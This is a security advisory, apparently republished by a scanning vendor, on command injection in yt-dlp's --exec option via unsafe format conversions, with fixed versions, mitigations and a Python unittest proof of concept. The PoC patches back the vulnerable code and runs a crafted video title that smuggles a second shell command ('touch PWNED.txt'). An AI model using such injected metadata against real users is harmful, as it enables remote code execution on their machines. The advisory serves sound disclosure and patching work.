yt-dlp's --exec option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. %(title)s) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.
Since yt-dlp version 2021.04.11, the --exec option has supported "output template syntax", which is a superset of Python's printf-style string formatting also used by the --output option. This means the user is able to pass a "command template" as an argument to the --exec option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.
yt-dlp implements a %()q conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as %()s which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. ;, &, |) to break out of the intended command and execute payload commands.
The impact is limited to users who pass an --exec command template containing unsafe conversions in their yt-dlp command or configuration file: %()s, %()a, %()r, %()j, %()S (including any of their flagged variants.)
yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an --exec command template to those known to be safe: %()d, %()i, %()f, %()q (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an --exec argument containing output template syntax.
This vulnerability can be fully mitigated by doing any of the following:
%()d, %()i, %()f, %()q) in any --exec command templates--exec arguments--exec optionvideo; touch pwned.txt #--exec flag.Reproduction steps (simulated):
import unittest
import os
from yt_dlp.postprocessor.exec import ExecPP
from yt_dlp.YoutubeDL import YoutubeDL
from yt_dlp.utils import PostProcessingError
# Import Popen to use the REAL one for the PoC (to actually create the file)
from yt_dlp.utils import Popen as RealPopen
class TestDemonstrativePoC(unittest.TestCase):
FILE_NAME = "PWNED.txt"
def setUp(self):
# Remove the file if it exists
if os.path.exists(self.FILE_NAME):
os.remove(self.FILE_NAME)
def test_1_demonstrate_vulnerability_simulated(self):
"""
Simulates the code BEFORE the fix to show what would happen.
"""
print("\n--- TEST 1: Simulating vulnerable state ---")
# 1. Define the vulnerable Parse Method
def vulnerable_parse_cmd(self, cmd, info):
# This mimics the code before my patch
tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)
if tmpl_dict:
return self._downloader.escape_outtmpl(tmpl) % tmpl_dict
return cmd
# 2. Patch the class temporarily
original_parse_cmd = ExecPP.parse_cmd
ExecPP.parse_cmd = vulnerable_parse_cmd
info = {
'id': '1234',
# MALICIOUS TITLE:
# 1. 'video' gets echoed
# 2. ; separator
# 3. touch PWNED.txt creates the file
# 4. # comments out the rest
'title': f'video; touch {self.FILE_NAME} #',
'ext': 'mp4',
'filepath': 'video.mp4'
}
ydl = YoutubeDL({'verbose': False, 'quiet': True})
try:
print(f"[*] Payload Title: {info['title']}")
print("[*] Executing: echo %(title)s")
# Use the REAL Popen to actually execute shell commands
import yt_dlp.postprocessor.exec
original_popen_ref = yt_dlp.postprocessor.exec.Popen
yt_dlp.postprocessor.exec.Popen = RealPopen
pp = ExecPP(ydl, 'echo %(title)s')
pp.run(info)
# Restore Popen ref
yt_dlp.postprocessor.exec.Popen = original_popen_ref
# Check if file was created
if os.path.exists(self.FILE_NAME):
print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!")
else:
print("[?] File not created. Payload might have failed.")
finally:
# Restore the secure method
ExecPP.parse_cmd = original_parse_cmd
if __name__ == '__main__':
unittest.main()
python3 poc.pyPWNED.txt will be created, proving arbitrary command execution.<img width="1386" height="757" alt="poc" src="https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08" />
| Software | From | Fixed in |
|---|---|---|
yt-dlp
|
2021.4.11 | 2026.6.9 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.